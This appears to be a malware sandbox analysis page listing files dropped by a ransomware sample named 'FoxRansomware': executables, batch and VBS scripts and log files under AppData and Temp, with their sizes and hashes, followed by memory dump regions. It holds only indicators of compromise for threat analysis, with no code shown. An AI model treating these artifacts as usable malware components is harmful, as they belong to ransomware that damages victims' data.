MD5
90ac7ad7fe79b8bd279704234d69bfbd

SHA1
fff3a88d50ad5640916018473ac89056a8a5f217

SHA256
22e1e25bad2844150e003bf935dff2b988c6bfc5621408ef66948ace9519c068

SHA512
b8f073321b0a1895a227fd2c845aacfee4e6f63c9456ddadd0d6ce8914175ed37d0ce049386c0474fe8332ae100fc5a4e0e6148a5e1f315b499f102d19e81b55

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
8a7163038545c75c789004a1f2e9ae2d

SHA1
9e57df31439743af27146d993376dac790c2888d

SHA256
645f336762b2b8a151eec47d5da21f6894e34e7ea48012f8b0a547f3eff70d07

SHA512
ec1dba11c8e0045cfb21e190dcd3cbadeeb568f45c206021a936607a93d44e21cf9a7d8ffd5f716c60f6b5fb5c7291fa0a7f590505045134a418a16e7ba7b608

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\MrICRJoS.txt

Filesize
16B

MD5
17d432845dc7cb55ac69d75cf72f7f5d

SHA1
7f3b6e6ab91b3a13c0611fe6e95befab691d5cc3

SHA256
a7cd0523e7aca4fd8db39d49ce1fe6198b92956509bd360dae646798c2a251a4

SHA512
25054cd4ec03675f28d0aa1aa09b691beacb9f9a1cf538179777d74a713e97457c39d56c787becc378fcdc31c62cbdf56546f8cee41f5f99f11b8798663104e0

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWVBvXqV.exe

Filesize
1.2MB

MD5
76b640aa00354e46b29ca7ac2adfd732

SHA1
afebf9d72ba7186afefebf4deda87675621b0b8b

SHA256
0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7

SHA512
fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\WegCvGtZ.exe

Filesize
181KB

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\eWa2FJZY.bat

Filesize
246B

MD5
ff593ca6140c256d9cf33f4be65f2905

SHA1
d71a600c67d75f527518a4ce8d6b709c26e693b2

SHA256
1acbd77d9248baa1dd996d6a0ddc4430c3d4d1d9087c3db33bb45be88150adb2

SHA512
ed546a35f7eee272a376adeceabf12312101d53cc6cbd8ee6a1343b1bababd1e8952f775d33ca6d448daaca8830d961069b88372b85a25e8c1f1f68cbdb4a0d7

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_48CC60133FF39B13.txt

Filesize
21KB

MD5
dd7f765240e40a9ea5a426279eebb66b

SHA1
f0245b9f8759169b6192ac95070ea96a7de68844

SHA256
03a421ec57f994de074ae6c0e0bd2b3bd47f81717290e8d6a1ad2f2a9f066d7d

SHA512
2c39112e135d04e1a03d736567c1ecca0773420c5d3a251f6331c83af6eea4043f82c25096d7f5b8ce9dddafd76bc0ba7769d4e8a6a895df25174dc0f287f26f

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_48CC60133FF39B13.txt

Filesize
305B

MD5
6462c4a907222906e0518485fd90ca19

SHA1
227c2b4cf50b1c0b8c1f019833196a50ace36354

SHA256
ceb39b99e116412b703f878caace55bd944bce0da42fc9b2cdce5769810f20de

SHA512
56bd88245471843c086cd67bf62caba466b9b81b2e0ff712ae476efccec058585ea4c81b3bd6c9640b4bb19300a8f81e5af89733c11596dd12304a81587129c5

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\elog_48CC60133FF39B13.txt

Filesize
445B

MD5
a9eb7512ef5de1b139a2f7fd0d57676c

SHA1
842838acfdb2debef4cfd8bc7bbf29f38efcc059

SHA256
7cad4520d6172343a96e446b64f9af13afa8f349b5f2e8691cf51681f65cba3c

SHA512
ba62e600849c0abaf4751a6b40f9c67ec4fe9d631ec4206edf53e6a68a16cb482b2df59b1ba7c7d2a9ddd078ee1b6390207e353d6d3b74eb43b9b5f8d2a0a9fc

Download Submit
C:\Users\Admin\AppData\Local\Temp\WegCvGtZ64.exe

Filesize
221KB

MD5
3026bc2448763d5a9862d864b97288ff

SHA1
7d93a18713ece2e7b93e453739ffd7ad0c646e9e

SHA256
7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

SHA512
d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wtcy0hsl.bbr.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\GhMopaYB.vbs

Filesize
260B

MD5
975a08aa12e0783c6202695e17357b29

SHA1
28791d438871586c0a8cf01dd244b3442389ee94

SHA256
6bccc91bf6425ea66b76a2da64ef4883cd88784d1ca378bd1372aa32bc7bf65b

SHA512
58220ab9147d4e3b84f83200b88eabb90cdb49a443fbec2927c63b1484484252bfe4d20b8459649009edcdcce782955a3990b73333d9882fda7e7cc19dd673f4

Download Submit
C:\Users\Admin\AppData\Roaming\aUWhSa8f.bat

Filesize
415B

MD5
6beebe1d268a18c14127dcdca6d4c697

SHA1
8b2d22590df78f350c579423f1cf37739db449f8

SHA256
2640f7a33dc02790b00d964629274b2753b8bf93d73ba8ee492af0abb0870f56

SHA512
87af81eebfc0b916d3fc7192ba356d24fa0cbfcb73099221033f741bd2fcad28d9c688b23a5208cc1474d88b221c97528cc6a87aec156a14d32ecf2444276269

Download Submit
memory/1028-28-0x0000000004F40000-0x0000000004F5E000-memory.dmp

Filesize
120KB

Download
memory/1028-15-0x0000000005200000-0x0000000005222000-memory.dmp

Filesize
136KB

Download
memory/1028-29-0x00000000065A0000-0x00000000065EC000-memory.dmp

Filesize
304KB

Download
memory/1028-12-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/1028-30-0x0000000004C90000-0x0000000004CA0000-memory.dmp

Filesize
64KB

Download
memory/1028-16-0x0000000005B20000-0x0000000005B86000-memory.dmp

Filesize
408KB

Download
memory/1028-31-0x0000000007A10000-0x000000000808A000-memory.dmp

Filesize
6.5MB

Download
memory/1028-32-0x00000000066C0000-0x00000000066DA000-memory.dmp

Filesize
104KB

Download
memory/1028-35-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/1028-10-0x0000000074450000-0x0000000074C00000-memory.dmp

Filesize
7.7MB

Download
memory/1028-18-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/1028-27-0x0000000005D00000-0x0000000006054000-memory.dmp

Filesize
3.3MB

Download
memory/1028-13-0x0000000004BE0000-0x0000000004C16000-memory.dmp

Filesize
216KB

Download
memory/1028-14-0x00000000052D0000-0x00000000058F8000-memory.dmp

Filesize
6.2MB

Download
memory/1368-8-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1368-15346-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1368-15323-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1368-6886-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/1368-695-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-47-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-15319-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-4318-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-1746-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-9-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-6607-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-11176-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-7-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/3496-13891-0x0000000000400000-0x0000000000538000-memory.dmp

Filesize
1.2MB

Download
memory/5656-2970-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/5656-1088-0x0000000000400000-0x0000000000477000-memory.dmp

Filesize
476KB

Download
memory/7812-13890-0x00007FFAE79D0000-0x00007FFAE8491000-memory.dmp

Filesize
10.8MB

Download
memory/7812-15339-0x00007FFAE79D0000-0x00007FFAE8491000-memory.dmp

Filesize
10.8MB

Download
memory/7812-12836-0x00000198C5DB0000-0x00000198C5DD2000-memory.dmp

Filesize
136KB

Download